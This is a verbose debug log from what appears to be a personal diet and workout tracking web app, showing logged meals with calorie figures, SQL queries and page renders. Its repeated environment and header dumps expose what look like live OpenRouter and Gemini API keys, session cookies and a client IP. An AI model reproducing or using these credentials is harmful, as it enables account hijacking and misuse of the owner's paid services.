    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites',
    created_at: '2025-12-24T22:38:30.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 515,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Aalo Matar Ghooghri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghooghri with less oil,Aalo Matar Ghooghri with more peas and less potato,Steamed vegetables with a light seasoning',
    created_at: '2025-12-24T22:39:07.000Z',
    skip_level: 2,
    skip_reason: "While potatoes provide carbs for energy, the preparation often involves significant oil, increasing fat and calorie content. For muscle development, focusing on leaner protein sources and complex carbs with less added fat would be more beneficial. It's 'good to skip but ok' if consumed in moderation and prepared with less oil."
  },
  {
    id: 516,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup',
    replacements: 'Water,Herbal infusions (e.g., peppermint tea, chamomile tea)',
    created_at: '2025-12-25T01:13:55.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants and minimal calories. Good for hydration and metabolism.'
  },
  {
    id: 517,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Roti',
    calories: 400,
    protein_gm: 12,
    carbs_gm: 80,
    fat_gm: 4,
    quantity: '4',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-25T02:20:00.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 518,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Saag Sabji',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 9,
    fat_gm: 3,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed Saag,Saag with less oil/ghee',
    created_at: '2025-12-25T02:20:00.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 519,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 120,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Baingan Bharta (less oil),Grilled Baingan,Baingan Curry (less cream/oil)',
    created_at: '2025-12-25T02:20:00.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 520,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Guava',
    calories: 68,
    protein_gm: 3,
    carbs_gm: 14,
    fat_gm: 1,
    quantity: '1 medium (approx 100g)',
    replacements: 'Berries (strawberries, blueberries),Cucumber,Celery',
    created_at: '2025-12-25T03:10:14.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C and fiber, good for overall health and muscle recovery.'
  },
  {
    id: 521,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 cup (240 ml)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-25T05:15:32.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein and calcium for muscle development. Opt for low-fat or skim milk to reduce fat intake if desired.'
  },
  {
    id: 522,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 teaspoon (4g)',
    replacements: 'Stevia,Erythritol,Monk fruit sweetener',
    created_at: '2025-12-25T05:15:32.000Z',
    skip_level: 3,
    skip_reason: 'Provides empty calories with no nutritional benefit. For muscle development, focus on nutrient-dense foods. Reducing sugar intake is generally beneficial for overall health.'
  },
  {
    id: 523,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (240 ml)',
    replacements: 'Herbal tea (no added sugar),Black coffee (no added sugar)',
    created_at: '2025-12-25T05:15:32.000Z',
    skip_level: 1,
    skip_reason: "Generally very low in calories and can be hydrating. If consumed without milk and sugar, it's a good beverage choice."
  }
]
2025-12-25T10:45:32.825Z server-connect:app Executing action step setvalue
2025-12-25T10:45:32.825Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-25T10:45:32.826Z server-connect:output var_total: 1289
2025-12-25T10:45:32.826Z server-connect:app Executing action step setvalue
2025-12-25T10:45:32.826Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-25T10:45:32.826Z server-connect:output var_consumed: 54
2025-12-25T10:45:32.826Z server-connect:app Executing action step setvalue
2025-12-25T10:45:32.826Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-25T10:45:32.826Z server-connect:output var_deficit: 1111
2025-12-25T10:45:32.826Z server-connect:app Executing action step custom
2025-12-25T10:45:32.826Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-25T10:45:32.827Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '2400',
    surplus_or_deficit: '0',
    status_flag: 1
  },
  {
    intake_date: 2025-12-24T18:30:00.000Z,
    total_consumed: '1289',
    surplus_or_deficit: '1111',
    status_flag: 2
  }
]
2025-12-25T10:45:32.827Z server-connect:app Executing action step single
2025-12-25T10:45:32.827Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-25T10:45:32.828Z server-connect:output current_weight: { weight: '69.60', date: '2025-12-24T18:30:00.000Z' }
2025-12-25T10:45:33.376Z server-connect:app Executing action step identify
2025-12-25T10:45:33.376Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:33.376Z server-connect:output identity: 1
2025-12-25T10:48:51.963Z server-connect:router Serving templateView /
2025-12-25T10:48:51.963Z server-connect:app Executing action step identify
2025-12-25T10:48:51.963Z server-connect:app options: { provider: 'security' }
2025-12-25T10:48:51.963Z server-connect:output identity: 1
2025-12-25T10:48:51.963Z server-connect:app Executing action step restrict
2025-12-25T10:48:51.963Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T10:48:51.965Z server-connect:output restrict: undefined
2025-12-25T10:48:51.965Z server-connect:app Executing action step restrict
2025-12-25T10:48:51.965Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T10:48:51.965Z server-connect:output restrict: undefined
2025-12-25T10:48:51.965Z server-connect:router Render template layouts/main
2025-12-25T10:48:51.965Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-25T10:51:11.378Z server-connect:router Serving templateView /workout
2025-12-25T10:51:11.378Z server-connect:app Executing action step identify
2025-12-25T10:51:11.378Z server-connect:app options: { provider: 'security' }
2025-12-25T10:51:11.378Z server-connect:output identity: 1
2025-12-25T10:51:11.378Z server-connect:app Executing action step restrict
2025-12-25T10:51:11.378Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T10:51:11.381Z server-connect:output restrict: undefined
2025-12-25T10:51:11.381Z server-connect:router Render template workout
2025-12-25T10:51:11.381Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T10:51:11.593Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-25T10:51:11.594Z server-connect:app Executing action step identify
2025-12-25T10:51:11.594Z server-connect:app options: { provider: 'security' }
2025-12-25T10:51:11.594Z server-connect:output identity: 1
2025-12-25T10:51:11.594Z server-connect:app Executing action step restrict
2025-12-25T10:51:11.594Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:51:11.594Z server-connect:output restrict: undefined
2025-12-25T10:51:11.594Z server-connect:app Executing action step select
2025-12-25T10:51:11.594Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-25T10:51:11.596Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2025-12-25T10:51:12.889Z server-connect:router Serving templateView /exercise/2
2025-12-25T10:51:12.890Z server-connect:app Executing action step identify
2025-12-25T10:51:12.890Z server-connect:app options: { provider: 'security' }
2025-12-25T10:51:12.890Z server-connect:output identity: 1
2025-12-25T10:51:12.890Z server-connect:app Executing action step restrict
2025-12-25T10:51:12.890Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T10:51:12.890Z server-connect:output restrict: undefined
2025-12-25T10:51:12.890Z server-connect:router Render template workout-exercise
2025-12-25T10:51:12.891Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
